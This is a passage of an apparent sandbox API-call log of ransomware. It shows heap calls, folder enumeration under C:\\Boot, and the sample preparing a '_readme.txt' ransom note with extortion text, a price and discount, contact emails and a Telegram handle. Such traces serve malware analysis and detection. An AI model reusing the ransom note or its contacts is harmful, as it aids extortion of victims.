hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.634] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.634] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.635] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.635] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.636] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.636] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0119.636] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.636] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.636] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.636] PathFindFileNameW (pszPath="") returned="" [0119.637] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.637] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.637] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.637] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.637] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.637] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.637] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.637] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0119.637] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0119.637] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.637] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.638] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.638] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.638] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.638] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.638] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.638] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.638] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.638] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.639] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 